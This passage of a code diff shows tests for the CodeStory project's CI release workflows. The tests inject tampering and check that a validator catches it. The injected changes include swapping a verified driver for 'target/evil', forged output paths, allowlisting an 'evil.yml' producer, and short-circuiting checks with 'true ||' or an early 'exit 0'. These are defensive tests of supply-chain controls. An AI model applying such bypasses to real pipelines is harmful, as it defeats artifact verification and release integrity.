quality restores the v1 corpus", qualityFile, workflow => { + const producer = draftStep( + workflow.jobs.quality, + "Produce optional Axios v2 quality evidence", + ); + producer.run = producer.run.replaceAll( + "codestory-release-corpus-v0.16-axios-js-ts-v2", + "codestory-release-corpus-v1", + ).replace( + "v0.16-axios-js-ts-v2.json", + "holdout-retrieval-v1.json", + ); + }, /reviewed isolated evaluation-owner structure/u], + ["optional quality selects the old Axios task", qualityFile, workflow => { + const producer = draftStep( + workflow.jobs.quality, + "Produce optional Axios v2 quality evidence", + ); + producer.run = producer.run.replace( + "axios-request-dispatch-v2.task.json", + "axios-request-dispatch.task.json", + ); + }, /reviewed isolated evaluation-owner structure/u], + ["optional quality appends a second task manifest", qualityFile, workflow => { + const producer = draftStep( + workflow.jobs.quality, + "Produce optional Axios v2 quality evidence", + ); + producer.run = producer.run.replace( + "--materialize-repos", + "--task-manifest benchmarks/tasks/extra.task.json \\\n --materialize-repos", + ); + }, /run exactly one pinned three-repeat publishable evaluator/u], + ["optional quality widens selection to a suite", qualityFile, workflow => { + const producer = draftStep( + workflow.jobs.quality, + "Produce optional Axios v2 quality evidence", + ); + producer.run = producer.run.replace( + "--materialize-repos", + "--task-suite holdout-retrieval \\\n --materialize-repos", + ); + }, /run exactly one pinned three-repeat publishable evaluator/u], + ["optional quality restores nested repeats", qualityFile, workflow => { + const producer = draftStep( + workflow.jobs.quality, + "Produce optional Axios v2 quality evidence", + ); + producer.run = producer.run.replace("--repeats 3", "--repeats 9"); + }, /run exactly one pinned three-repeat publishable evaluator/u], + ["optional quality permits CPU fallback", qualityFile, workflow => { + draftStep( + workflow.jobs.quality, + "Produce optional Axios v2 quality evidence", + ).env.CODESTORY_EMBED_ALLOW_CPU = "1"; + }, /run exactly one pinned three-repeat publishable evaluator/u], + ["optional quality measurement becomes blocking", qualityFile, workflow => { + delete draftStep( + workflow.jobs.quality, + "Produce optional Axios v2 quality evidence", + )["continue-on-error"]; + }, /run exactly one pinned three-repeat publishable evaluator/u], + ["optional quality upload becomes blocking", qualityFile, workflow => { + delete draftStep( + workflow.jobs.quality, + "Upload optional Axios v2 quality evidence", + )["continue-on-error"]; + }, /report both outcomes without becoming a qualification or release gate/u], + ["optional quality outcome recorder is no longer unconditional", qualityFile, workflow => { + draftStep( + workflow.jobs.quality, + "Record optional quality outcome", + ).if = "steps.quality.outcome == 'success'"; + }, /report both outcomes without becoming a qualification or release gate/u], + ["optional quality outcome recorder uses a hardcoded sentinel", qualityFile, workflow => { + draftStep( + workflow.jobs.quality, + "Record optional quality outcome", + ).env.QUALITY_OUTCOME = "success"; + }, /report both outcomes without becoming a qualification or release gate/u], + ["closeout adds optional quality as a dependency", coordinatorFile, workflow => { + workflow.jobs.closeout.needs.push("frozen-candidate-quality"); + }, /closeout must wait for every selected platform proof|normal closeout must not depend on optional release or quality evidence/u], + ["Metal lifecycle accepts quality evidence again", metalFile, workflow => { + workflow.on.workflow_call.inputs.quality_evidence_artifact = { + required: false, + type: "string", + default: "", + }; + }, /workflow_call must not accept optional quality evidence/u], + ["Windows lifecycle accepts quality evidence again", windowsFile, workflow => { + workflow.on.workflow_call.inputs.quality_evidence_artifact = { + required: false, + type: "string", + default: "", + }; + }, /workflow_call must not accept optional quality evidence/u], + ["Linux lifecycle accepts quality evidence again", linuxFile, workflow => { + workflow.on.workflow_call.inputs.quality_evidence_artifact = { + required: false, + type: "string", + default: "", + }; + }, /workflow_call must not accept quality_evidence_artifact/u], + ["Linux full qualification skips retained-driver verification", linuxFile, workflow => { + draftStep( + workflow.jobs["packaged-vulkan"], + "Verify packaged qualification driver", + ).if = "${{ inputs.server_behavior_only }}"; + }, /packaged qualification must verify the archive-bound private driver/u], + ["Linux standalone path removes lifecycle qualification", linuxFile, workflow => { + const proof = draftStep( + workflow.jobs["packaged-vulkan"], + "Prove offline Linux Vulkan retrieval", + ); + proof.run = proof.run.replace("--produce-qualification-evidence", "--server-behavior-only"); + }, /standalone qualification runs one lifecycle proof without optional quality/u], + ]; - const wrongSha = runResolver("packaged-platform-pr.yml", "route", { - ...packagedEnvironment, - GITHUB_REF: "refs/heads/codex/exact-head", - GITHUB_SHA: otherSha, + for (const [name, file, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), expected); }); - assert.notEqual(wrongSha.status, 0); - assert.match(wrongSha.stdout, /Workflow SHA .* is not accepted PR head/u); + } - const accepted = runResolver("packaged-platform-pr.yml", "route", { - ...packagedEnvironment, - GITHUB_REF: "refs/heads/codex/exact-head", + for (const [name, mutate] of [ + ["required Windows qualification cell becomes optional", graph => { + graph.workflow_policy.qualification.required_cells + = graph.workflow_policy.qualification.required_cells.slice(0, 1); + }], + ["quality producer moves off protected Metal", graph => { + graph.workflow_policy.qualification.quality_contract.producer_cell + = "protected_windows_x64_vulkan"; + }], + ["quality becomes a release gate", graph => { + graph.workflow_policy.qualification.quality_contract.blocking = true; + }], + ["quality becomes a claimed result", graph => { + graph.workflow_policy.qualification.quality_contract.claimed = true; + }], + ["quality stops using the global exact-package cache contract", graph => { + graph.workflow_policy.qualification.quality_contract.archive_cache_contract + = "mutable_candidate_cache"; + }], + ["quality owner moves back into a protected product boundary", graph => { + graph.workflow_policy.qualification.quality_contract.evaluation_owner + = "protected_product_path"; + }], + ["quality owner digest no longer binds the reviewed evaluator", graph => { + graph.workflow_policy.qualification.quality_contract.evaluation_owner_sha256 + = "0".repeat(64); + }], + ["quality re-enters required qualification evidence", graph => { + graph.workflow_policy.qualification.required_evidence.push("retrieval_quality"); + }], + ["Metal lifecycle claims it produces quality again", graph => { + graph.workflow_policy.qualification.required_cells[0].produces_quality = true; + }], + ["true-idle grace replaces the product timeout", graph => { + graph.workflow_policy.qualification.true_idle_timeout_ms = 2_500; + }], + ]) { + await t.test(`claim graph: ${name}`, () => { + const graph = structuredClone(loadReleaseClaimGraph(root)); + mutate(graph); + assert.match( + validateWorkflows(loadWorkflows(), graph).join("\n"), + /must implement the release claim graph qualification contract/u, + ); }); - assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); - }); - - await t.test("platform labeled event", () => { - const environment = { - ...packagedEnvironment, - INPUT_PR_NUMBER: "", - INPUT_HEAD_SHA: "", - INPUT_MODE: "", - EVENT_PR_NUMBER: "1230", - EVENT_HEAD_SHA: fullSha, - EVENT_HEAD_REPO: "TheGreenCedar/CodeStory", - GITHUB_EVENT_NAME: "pull_request", - GITHUB_REF: "refs/pull/1230/merge", - }; - const accepted = runResolver("packaged-platform-pr.yml", "route", environment); - assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); + } +}); - const drifted = runResolver("packaged-platform-pr.yml", "route", { - ...environment, - EVENT_HEAD_SHA: otherSha, - }); - assert.notEqual(drifted.status, 0); - assert.match(drifted.stdout, /moved after the platform-proof label event/u); - }); +test("qualification driver is built once, retained privately, authenticated, and reused", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const packagedFile = "packaged-platform-proof.yml"; + const coordinatorFile = "packaged-platform-pr.yml"; + const metalFile = "macos-metal-proof.yml"; + const windowsFile = "windows-vulkan-proof.yml"; + const linuxFile = "linux-vulkan-proof.yml"; + const packagedJob = workflow => workflow.jobs.build; + const hostBuild = workflow => draftStep( + packagedJob(workflow), + "Build package and qualification driver", + ); + const linuxBuild = workflow => draftStep( + packagedJob(workflow), + "Build Linux x64 at the glibc 2.31 baseline", + ); + const stage = workflow => draftStep( + packagedJob(workflow), + "Stage qualification driver in package proof artifact", + ); + const metalJob = workflow => workflow.jobs["packaged-metal"]; + const windowsJob = workflow => workflow.jobs["packaged-vulkan"]; + const linuxJob = workflow => workflow.jobs["packaged-vulkan"]; - await t.test("integration dispatch", () => { - const rejected = runResolver("packaged-platform-pr.yml", "route", { - ...packagedEnvironment, - INPUT_PR_NUMBER: "", - INPUT_MODE: "integration", - GITHUB_REF: "refs/heads/main", - }); - assert.notEqual(rejected.status, 0); - assert.match(rejected.stdout, /--ref dev\/codestory-next/u); + const mutations = [ + ["driver retention defaults on", packagedFile, workflow => { + workflow.on.workflow_call.inputs.include_qualification_driver.default = true; + }, /private qualification-driver retention must be explicit and off by default/u], + ["host package repeats Cargo build", packagedFile, workflow => { + hostBuild(workflow).run += '\ncargo build --release --locked "${cargo_args[@]}"'; + }, /host package must build only the production bins and optional qualification driver in one exact Cargo invocation/u], + ["host package drops runtime", packagedFile, workflow => { + hostBuild(workflow).run = hostBuild(workflow).run.replace( + "--bin codestory-cli-runtime", + "--bin ignored-runtime", + ); + }, /host package must build only the production bins and optional qualification driver in one exact Cargo invocation/u], + ["host package broadens to all bins", packagedFile, workflow => { + hostBuild(workflow).run = hostBuild(workflow).run.replace( + "--bin codestory-cli-runtime", + "--bins", + ); + }, /host package must build only the production bins and optional qualification driver in one exact Cargo invocation/u], + ["host package substitutes calibration driver", packagedFile, workflow => { + hostBuild(workflow).run = hostBuild(workflow).run.replace( + "codestory_embedding_qualification", + "codestory_embedding_constant_calibration", + ); + }, /host package must build only the production bins and optional qualification driver in one exact Cargo invocation/u], + ["Linux package repeats Cargo build", packagedFile, workflow => { + linuxBuild(workflow).run = linuxBuild(workflow).run.replace( + "/sccache/sccache --show-stats", + 'cargo build --release --locked "$@" --target "$RELEASE_RUST_TARGET"\n /sccache/sccache --show-stats', + ); + }, /Linux package must build CLI, runtime, and conditional qualification driver in one exact Cargo invocation/u], + ["qualification driver cache identity becomes fixed", packagedFile, workflow => { + draftStep( + packagedJob(workflow), + "Capture reusable build cache contract", + ).env.INCLUDE_QUALIFICATION_DRIVER = "false"; + }, /must compute one complete reusable compiler compatibility contract/u], + ["coordinator retains driver for every package", coordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.include_qualification_driver = true; + }, /retain the private qualification driver only for frozen-candidate qualification/u], + ["coordinator stops retaining qualification driver", coordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.include_qualification_driver = false; + }, /retain the private qualification driver only for frozen-candidate qualification/u], + ["driver staging becomes unconditional", packagedFile, workflow => { + stage(workflow).if = "always()"; + }, /retain one archive-bound private qualification driver beside each selected package/u], + ["driver staging binds a decoy archive", packagedFile, workflow => { + stage(workflow).run = stage(workflow).run.replace( + "--archive \"target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}\"", + "--archive target/release-dist/decoy.tar.gz", + ); + }, /retain one archive-bound private qualification driver beside each selected package/u], + ["driver staging trusts the Windows target junction", packagedFile, workflow => { + stage(workflow).run = stage(workflow).run.replace( + "--target-dir target", + '--target-dir "${CARGO_TARGET_DIR:-target}"', + ); + }, /retain one archive-bound private qualification driver beside each selected package/u], + ["public package artifact admits the private driver", packagedFile, workflow => { + const upload = draftStep(packagedJob(workflow), "Upload release asset"); + upload.with.path += + "target/release-dist/qualification-driver/${{ matrix.asset_target }}\n"; + }, /public package artifact must contain exactly the archive and its two candidate-local checksum files/u], + ["public archive includes qualification driver", packagedFile, workflow => { + draftStep(packagedJob(workflow), "Package release asset").run += + "\ntar -rf \"$archive\" target/release-dist/qualification-driver"; + }, /public archives and signing inputs must exclude the private qualification driver/u], + ["GitHub release publishes private qualification driver", "release.yml", workflow => { + draftStep(workflow.jobs.publish, "Create GitHub release").run = + draftStep(workflow.jobs.publish, "Create GitHub release").run.replace( + 'gh release create "$TAG" "${assets[@]}"', + 'gh release create "$TAG" "${assets[@]}" target/release-assets/qualification-driver', + ); + }, /publish only graph-declared root assets and exclude the private qualification driver/u], + ["Metal verifier reads a decoy archive", metalFile, workflow => { + const verify = draftStep( + metalJob(workflow), + "Verify packaged qualification driver", + ); + verify.run = verify.run.replace( + "codestory-cli-v${version}-macos-arm64.tar.gz", + "decoy-macos.tar.gz", + ); + }, /packaged qualification must verify the archive-bound private driver/u], + ["Metal verifier output is not retained", metalFile, workflow => { + draftStep( + metalJob(workflow), + "Verify packaged qualification driver", + ).run = "node .github/scripts/qualification-driver-artifact.mjs verify"; + }, /packaged qualification must verify the archive-bound private driver/u], + ["Metal verifier becomes advisory with a forged fallback", metalFile, workflow => { + const verify = draftStep( + metalJob(workflow), + "Verify packaged qualification driver", + ); + verify.run = verify.run.replace( + "set -euo pipefail", + "set +e", + ); + verify.run += + "\nset -e\nprintf 'path=target/evil\\n' >> \"$GITHUB_OUTPUT\""; + }, /reviewed protected Metal workflow structure/u], + ["Metal substitutes driver after verification", metalFile, workflow => { + const steps = metalJob(workflow).steps; + const verifyIndex = steps.findIndex( + step => step.name === "Verify packaged qualification driver", + ); + steps.splice(verifyIndex + 1, 0, { + name: "Replace retained driver", + shell: "bash", + run: "cp target/evil target/release-dist/qualification-driver/macos-arm64/codestory_embedding_qualification", + }); + }, /must not replace the verified qualification driver before execution/u], + ["Metal executes a different driver", metalFile, workflow => { + draftStep(metalJob(workflow), "Prove protected Metal runtime").run = + draftStep(metalJob(workflow), "Prove protected Metal runtime").run + .replace( + '--qualification-driver "$qualification_driver"', + "--qualification-driver target/release/other-driver", + ); + }, /server-behavior proof must omit calibration while qualification retains it/u], + ["Metal packaged qualification reinstalls Rust", metalFile, workflow => { + draftStep(metalJob(workflow), "Install pinned Rust").if = + "${{ !inputs.use_packaged_cli_artifact || !inputs.server_behavior_only }}"; + }, /every packaged proof must skip Rust installation/u], + ["Metal rebuilds driver after download", metalFile, workflow => { + metalJob(workflow).steps.push({ + name: "Build qualification driver", + if: "${{ !inputs.server_behavior_only }}", + shell: "bash", + run: "cargo build --release --locked -p codestory-bench --bin codestory_embedding_qualification", + }); + }, /must not rebuild the qualification driver after package download/u], + ["Metal calibration also builds qualification driver", metalFile, workflow => { + const build = draftStep(metalJob(workflow), "Build and package native CLI"); + build.run = build.run.replace( + 'elif [ "$SERVER_BEHAVIOR_ONLY" != true ]; then', + 'if [ "$SERVER_BEHAVIOR_ONLY" != true ]; then', + ); + }, /calibration must build CLI and constant collector once through one shared Cargo invocation/u], + ["Windows trusts an arbitrary producer workflow", windowsFile, workflow => { + const authenticate = draftStep( + windowsJob(workflow), + "Authenticate exact Windows candidate artifacts", + ); + authenticate.run = authenticate.run.replace( + '$env:CANDIDATE_PRODUCER_WORKFLOW_PATH -notin $allowedWorkflows', + "$false", + ); + }, /authenticate the exact candidate record, package, and private driver from an allowlisted producer/u], + ["Windows executes an unverified driver", windowsFile, workflow => { + draftStep(windowsJob(workflow), "Prove protected Windows Vulkan runtime") + .env.VERIFIED_QUALIFICATION_DRIVER = "target/release/other.exe"; + }, /server-behavior proof must omit calibration while qualification runs one lifecycle proof without optional quality/u], + ["Windows substitutes driver after verification", windowsFile, workflow => { + const steps = windowsJob(workflow).steps; + const verifyIndex = steps.findIndex( + step => step.name === "Verify packaged qualification driver", + ); + steps.splice(verifyIndex + 1, 0, { + name: "Replace retained driver", + shell: "powershell", + run: "Copy-Item target/evil.exe target/release-dist/qualification-driver/windows-x64/codestory_embedding_qualification.exe", + }); + }, /must not replace the verified qualification driver before execution/u], + ["Windows rebuilds driver after download", windowsFile, workflow => { + windowsJob(workflow).steps.push({ + name: "Build qualification driver", + shell: "powershell", + run: "cargo build --release --locked -p codestory-bench --bin codestory_embedding_qualification", + }); + }, /must not rebuild the qualification driver after package download/u], + ["Linux trusts an arbitrary producer workflow", linuxFile, workflow => { + const authenticate = draftStep( + linuxJob(workflow), + "Authenticate exact Linux candidate artifacts", + ); + authenticate.run = authenticate.run.replace( + 'case "$CANDIDATE_PRODUCER_WORKFLOW_PATH" in', + 'case ".github/workflows/packaged-platform-pr.yml" in', + ); + }, /authenticate one exact-head candidate record, package, and private driver from an allowlisted producer/u], + ["Linux allowlist admits an untrusted producer through dead checks", linuxFile, workflow => { + const authenticate = draftStep( + linuxJob(workflow), + "Authenticate exact Linux candidate artifacts", + ); + authenticate.run = authenticate.run.replace( + ".github/workflows/packaged-platform-pr.yml)", + ".github/workflows/packaged-platform-pr.yml | .github/workflows/evil.yml)", + ); + authenticate.run = authenticate.run.replace( + 'test "$CANDIDATE_PRODUCER_WORKFLOW_PATH" = \\\n .github/workflows/packaged-platform-pr.yml', + 'true || test "$CANDIDATE_PRODUCER_WORKFLOW_PATH" = \\\n .github/workflows/packaged-platform-pr.yml', + ); + }, /reviewed protected Linux Vulkan workflow structure/u], + ["Linux producer path equality becomes advisory", linuxFile, workflow => { + const authenticate = draftStep( + linuxJob(workflow), + "Authenticate exact Linux candidate artifacts", + ); + authenticate.run = authenticate.run.replace( + 'test "$(jq -r \'.path\' <<<"$run")" = "$CANDIDATE_PRODUCER_WORKFLOW_PATH"', + 'true || test "$(jq -r \'.path\' <<<"$run")" = "$CANDIDATE_PRODUCER_WORKFLOW_PATH"', + ); + }, /reviewed protected Linux Vulkan workflow structure/u], + ["Linux accepts an incomplete external package run", linuxFile, workflow => { + const authenticate = draftStep( + linuxJob(workflow), + "Authenticate exact Linux candidate artifacts", + ); + authenticate.run = authenticate.run.replace( + 'test "$(jq -r \'.conclusion\' <<<"$run")" = success', + "true", + ); + }, /authenticate one exact-head candidate record, package, and private driver from an allowlisted producer/u], + ["Linux accepts a package artifact from another head", linuxFile, workflow => { + const authenticate = draftStep( + linuxJob(workflow), + "Authenticate exact Linux candidate artifacts", + ); + authenticate.run = authenticate.run.replace( + "and .workflow_run.head_sha == $sha", + "", + ); + }, /authenticate one exact-head candidate record, package, and private driver from an allowlisted producer/u], + ["Linux executes a hardcoded driver", linuxFile, workflow => { + draftStep(linuxJob(workflow), "Prove offline Linux Vulkan retrieval").run = + draftStep(linuxJob(workflow), "Prove offline Linux Vulkan retrieval").run + .replace( + '--qualification-driver "$qualification_driver"', + "--qualification-driver target/release/other-driver", + ); + }, /standalone qualification runs one lifecycle proof without optional quality/u], + ["Linux substitutes driver after verification", linuxFile, workflow => { + const steps = linuxJob(workflow).steps; + const verifyIndex = steps.findIndex( + step => step.name === "Verify packaged qualification driver", + ); + steps.splice(verifyIndex + 1, 0, { + name: "Replace retained driver", + shell: "bash", + run: "cp target/evil target/release-dist/qualification-driver/linux-x64/codestory_embedding_qualification", + }); + }, /must not replace the verified qualification driver before execution/u], + ["Linux rebuilds driver after download", linuxFile, workflow => { + linuxJob(workflow).steps.push({ + name: "Build qualification driver", + shell: "bash", + run: "cargo build --release --locked -p codestory-bench --bin codestory_embedding_qualification", + }); + }, /must not reinstall Rust, prepare a model, or rebuild the retained driver/u], + ]; - const accepted = runResolver("packaged-platform-pr.yml", "route", { - ...packagedEnvironment, - INPUT_PR_NUMBER: "", - INPUT_MODE: "integration", - GITHUB_REF: "refs/heads/dev/codestory-next", + for (const [name, file, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), expected); }); - assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); - }); + } + + const helperSource = readFileSync( + path.join(root, ".github/scripts/qualification-driver-artifact.mjs"), + "utf8", + ); + for (const [name, mutate] of [ + ["helper stops hashing the candidate archive", source => + source.replace("sha256(archivePath) !== identity.archive.sha256", "false")], + ["helper follows linked path ancestors", source => + source.replace("lstatSync(cursor).isSymbolicLink()", "false")], + ["helper accepts hardlinked retained drivers", source => + source.replace("metadata.nlink !== 1", "false")], + ["helper accepts extra identity fields", source => + source.replace('fail(`${label} keys changed`)', "return")], + ["helper accepts unknown flags", source => + source.replace("requireExactFlags(values, [...commonFlags, \"--artifact-dir\"])", "true")], + ["helper verifies one driver and returns another", source => + source.replace("return { driver, identity, identityPath };", "return { driver: archivePath, identity, identityPath };")], + ]) { + await t.test(name, () => { + assert.match( + qualificationDriverArtifactViolations( + mutate(helperSource), + loadReleaseClaimGraph(root), + ).join("\n"), + /must match the reviewed archive-bound producer and verifier contract/u, + ); + }); + } + + for (const [name, mutate] of [ + ["claim graph publishes driver", graph => { + graph.workflow_policy.qualification.driver_contract.public_release_asset = true; + }], + ["claim graph drops archive digest", graph => { + graph.workflow_policy.qualification.driver_contract.identity_fields = + graph.workflow_policy.qualification.driver_contract.identity_fields + .filter(field => field !== "archive.sha256"); + }], + ["claim graph allows repeated builds", graph => { + graph.workflow_policy.qualification.driver_contract + .build_invocations_per_platform = 2; + }], + ]) { + await t.test(`claim graph: ${name}`, () => { + const graph = structuredClone(loadReleaseClaimGraph(root)); + mutate(graph); + assert.match( + validateWorkflows(loadWorkflows(), graph).join("\n"), + /private archive-qualified driver contract exactly|release claim graph qualification contract/u, + ); + }); + } }); -test("exact proof policy rejects trigger and identity downgrades", async (t) => { - const sourceFile = "source-proof.yml"; - const packagedCoordinatorFile = "packaged-platform-pr.yml"; - const packagedProofFile = "packaged-platform-proof.yml"; - const linuxVulkanFile = "linux-vulkan-proof.yml"; - const windowsVulkanFile = "windows-vulkan-proof.yml"; - const metalProofFile = "macos-metal-proof.yml"; - const sourceResolver = workflow => draftStep(workflow.jobs.resolve, "Resolve trusted exact head"); - const packagedResolver = workflow => draftStep(workflow.jobs.route, "Resolve trusted exact head"); +test("qualification driver retention breaks a Cargo source hardlink and rejects retained hardlinks", () => { + const directory = mkdtempSync( + path.join(os.tmpdir(), "codestory-qualification-driver-"), + ); + try { + const targetDirectory = path.join(directory, "target"); + const releaseDirectory = path.join( + targetDirectory, + "x86_64-pc-windows-msvc", + "release", + ); + const depsDirectory = path.join(releaseDirectory, "deps"); + mkdirSync(depsDirectory, { recursive: true }); + const originalDriver = path.join( + depsDirectory, + "codestory_embedding_qualification-hash.exe", + ); + const cargoDriver = path.join( + releaseDirectory, + "codestory_embedding_qualification.exe", + ); + writeFileSync(originalDriver, "qualification-driver-v1"); + chmodSync(originalDriver, 0o755); + linkSync(originalDriver, cargoDriver); + assert.equal(lstatSync(cargoDriver).nlink, 2); + + const archive = path.join( + directory, + "codestory-cli-v0.16.3-windows-x64.zip", + ); + writeFileSync(archive, "candidate-archive"); + const artifactDirectory = path.join(directory, "artifact"); + const produced = produceQualificationDriverArtifact({ + archive, + assetTarget: "windows-x64", + outDir: artifactDirectory, + sourceSha: "a".repeat(40), + sourceTree: "b".repeat(40), + targetDir: targetDirectory, + trustedRoot: directory, + version: "0.16.3", + }); + assert.equal(lstatSync(produced.driver).nlink, 1); + assert.equal(readFileSync(produced.driver, "utf8"), "qualification-driver-v1"); + + writeFileSync(originalDriver, "qualification-driver-v2"); + assert.equal(readFileSync(produced.driver, "utf8"), "qualification-driver-v1"); + const verified = verifyQualificationDriverArtifact({ + archive, + artifactDir: artifactDirectory, + assetTarget: "windows-x64", + sourceSha: "a".repeat(40), + sourceTree: "b".repeat(40), + trustedRoot: directory, + version: "0.16.3", + }); + assert.equal(verified.identity.driver.sha256, produced.identity.driver.sha256); + + linkSync(produced.driver, path.join(directory, "retained-driver-alias.exe")); + assert.throws( + () => verifyQualificationDriverArtifact({ + archive, + artifactDir: artifactDirectory, + assetTarget: "windows-x64", + sourceSha: "a".repeat(40), + sourceTree: "b".repeat(40), + trustedRoot: directory, + version: "0.16.3", + }), + /qualification driver artifact must be a regular, non-symlink, singly linked file/u, + ); + } finally { + rmSync(directory, { recursive: true, force: true }); + } +}); +test("Windows packages one release graph into exact public and private artifacts", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "packaged-platform-proof.yml"; + const job = workflow => workflow.jobs.build; + const step = (workflow, name) => draftStep(job(workflow), name); + const replaceRun = (workflow, name, from, to) => { + const selected = step(workflow, name); + const before = selected.run; + selected.run = before.replace(from, to); + assert.notEqual(selected.run, before, `mutation did not change ${name}`); + }; const mutations = [ - ["source synchronize trigger", sourceFile, workflow => { - workflow.on.pull_request.types.push("synchronize"); - }, /trigger must be label-only/u], - ["platform synchronize trigger", packagedCoordinatorFile, workflow => { - workflow.on.pull_request.types.push("synchronize"); - }, /trigger must be label-only/u], - ["source PR-number-only concurrency", sourceFile, workflow => { - workflow.concurrency.group = "source-proof-${{ inputs.pr_number || github.event.pull_request.number }}"; - }, /concurrency must bind the Actions SHA/u], - ["platform PR-number-only concurrency", packagedCoordinatorFile, workflow => { - workflow.concurrency.group = "proof-${{ inputs.mode }}-${{ inputs.pr_number }}"; - }, /concurrency must bind the Actions SHA/u], - ["source manual SHA equality", sourceFile, workflow => { - sourceResolver(workflow).run = sourceResolver(workflow).run - .replace('test "$GITHUB_SHA" = "$EXPECTED_HEAD_SHA"', 'test -n "$GITHUB_SHA"'); - }, /GITHUB_SHA.*EXPECTED_HEAD_SHA/u], - ["source manual SHA short-circuit", sourceFile, workflow => { - sourceResolver(workflow).run = sourceResolver(workflow).run - .replace( - 'test "$GITHUB_SHA" = "$EXPECTED_HEAD_SHA" || {', - 'true || test "$GITHUB_SHA" = "$EXPECTED_HEAD_SHA" || {', - ); - }, /exact normalized trusted resolver script contract/u], - ["source labeled branch disabled", sourceFile, workflow => { - sourceResolver(workflow).run = sourceResolver(workflow).run - .replace( - 'if [ -n "$EVENT_PR_NUMBER" ]; then', - 'if false && [ -n "$EVENT_PR_NUMBER" ]; then', - ); - }, /exact normalized trusted resolver script contract/u], - ["source resolver exits before trusted checks", sourceFile, workflow => { - sourceResolver(workflow).run = sourceResolver(workflow).run - .replace( - "set -euo pipefail", - 'set -euo pipefail\necho "ref=$GITHUB_SHA" >> "$GITHUB_OUTPUT"\nexit 0', - ); - }, /exact normalized trusted resolver script contract/u], - ["source resolver blank line", sourceFile, workflow => { - sourceResolver(workflow).run = sourceResolver(workflow).run - .replace("set -euo pipefail\n", "set -euo pipefail\n\n"); - }, /exact normalized trusted resolver script contract/u], - ["source labeled job disabled", sourceFile, workflow => { - workflow.jobs.resolve.if - = "false && (github.event.action == 'labeled' && github.event.label.name == 'review-accepted')"; - }, /only review-accepted labeled PR runs/u], - ["source manual ref equality", sourceFile, workflow => { - sourceResolver(workflow).run = sourceResolver(workflow).run - .replace('test "$GITHUB_REF" = "refs\/heads\/$head_ref"', 'test -n "$GITHUB_REF"'); - }, /GITHUB_REF.*head_ref/u], - ["platform manual SHA equality", packagedCoordinatorFile, workflow => { - packagedResolver(workflow).run = packagedResolver(workflow).run - .replace('test "$GITHUB_SHA" = "$INPUT_HEAD_SHA"', 'test -n "$GITHUB_SHA"'); - }, /GITHUB_SHA.*INPUT_HEAD_SHA/u], - ["platform manual SHA short-circuit", packagedCoordinatorFile, workflow => { - packagedResolver(workflow).run = packagedResolver(workflow).run - .replace( - 'test "$GITHUB_SHA" = "$INPUT_HEAD_SHA" || {', - 'true || test "$GITHUB_SHA" = "$INPUT_HEAD_SHA" || {', - ); - }, /exact normalized trusted resolver script contract/u], - ["platform labeled branch disabled", packagedCoordinatorFile, workflow => { - packagedResolver(workflow).run = packagedResolver(workflow).run - .replace( - 'if [ -n "$EVENT_HEAD_REPO" ]; then', - 'if false && [ -n "$EVENT_HEAD_REPO" ]; then', + ["a second Windows Cargo build appears in another step", workflow => { + job(workflow).steps.push({ + name: "Rebuild a Windows regression", + if: "runner.os == 'Windows'", + shell: "bash", + run: "cargo build --release --locked -p codestory-workspace --test windows_path_identity", + }); + }, /package proof must not compile outside the two mutually exclusive reviewed Cargo build steps/u], + ["the one package build invokes Cargo twice", workflow => { + step(workflow, "Build package and qualification driver").run += + "\ncargo build --release --locked -p codestory-cli"; + }, /host package must build only the production bins and optional qualification driver in one exact Cargo invocation/u], + ["the package graph loses release mode", workflow => { + replaceRun( + workflow, + "Build package and qualification driver", + "cargo build --release --locked", + "cargo build --locked", + ); + }, /host package must build only the production bins and optional qualification driver in one exact Cargo invocation/u], + ["a source-test target contaminates the package graph", workflow => { + step(workflow, "Build package and qualification driver").run = + step(workflow, "Build package and qualification driver").run.replace( + "timing_dir=\"target/windows-package-build-timing\"", + 'cargo_args+=( -p codestory-workspace --test windows_path_identity )\n timing_dir="target/windows-package-build-timing"', ); - }, /exact normalized trusted resolver script contract/u], - ["platform resolver exits before trusted checks", packagedCoordinatorFile, workflow => { - packagedResolver(workflow).run = packagedResolver(workflow).run - .replace( - "set -euo pipefail", - 'set -euo pipefail\necho "head_sha=$GITHUB_SHA" >> "$GITHUB_OUTPUT"\nexit 0', + }, /host package must build only the production bins/u], + ["the host feature contract is removed", workflow => { + step(workflow, "Build package and qualification driver").run = + step(workflow, "Build package and qualification driver").run.replace( + "node .github/scripts/cargo-build-artifacts.mjs features", + "true", ); - }, /exact normalized trusted resolver script contract/u], - ["platform resolver backslash continuation blank line", packagedCoordinatorFile, workflow => { - packagedResolver(workflow).run = packagedResolver(workflow).run - .replace( - 'if [ -n "$INPUT_SOURCE_RUN_ID" ] \\\n ||', - 'if [ -n "$INPUT_SOURCE_RUN_ID" ] \\\n\n ||', + }, /host package must build only the production bins/u], + ["the Windows runtime probe accepts test support", workflow => { + step(workflow, "Prove production feature identity on Windows").run = + step(workflow, "Prove production feature identity on Windows").run.replace( + '"per_user_server"', + '"test_support"', ); - }, /exact normalized trusted resolver script contract/u], - ["platform labeled job disabled", packagedCoordinatorFile, workflow => { - workflow.jobs.route.if - = "false && (github.event.action == 'labeled' && github.event.label.name == 'platform-proof')"; - }, /only platform-proof labeled PR runs/u], - ["integration live dev SHA equality", packagedCoordinatorFile, workflow => { - packagedResolver(workflow).run = packagedResolver(workflow).run - .replace('test "$GITHUB_SHA" = "$dev_head"', 'test -n "$GITHUB_SHA"'); - }, /GITHUB_SHA.*dev_head/u], - ["hosted-only integration scope removed", packagedCoordinatorFile, workflow => { - workflow.on.workflow_dispatch.inputs.scope.options - = workflow.on.workflow_dispatch.inputs.scope.options.filter(scope => scope !== "none"); - }, /dispatch scopes changed/u], - ["exact integration Linux scope removed", packagedCoordinatorFile, workflow => { - const step = draftStep(workflow.jobs.route, "Select change-aware proof scope"); - step.run = step.run.replace(' || [ "$REQUESTED_SCOPE" = linux ]', ""); - }, 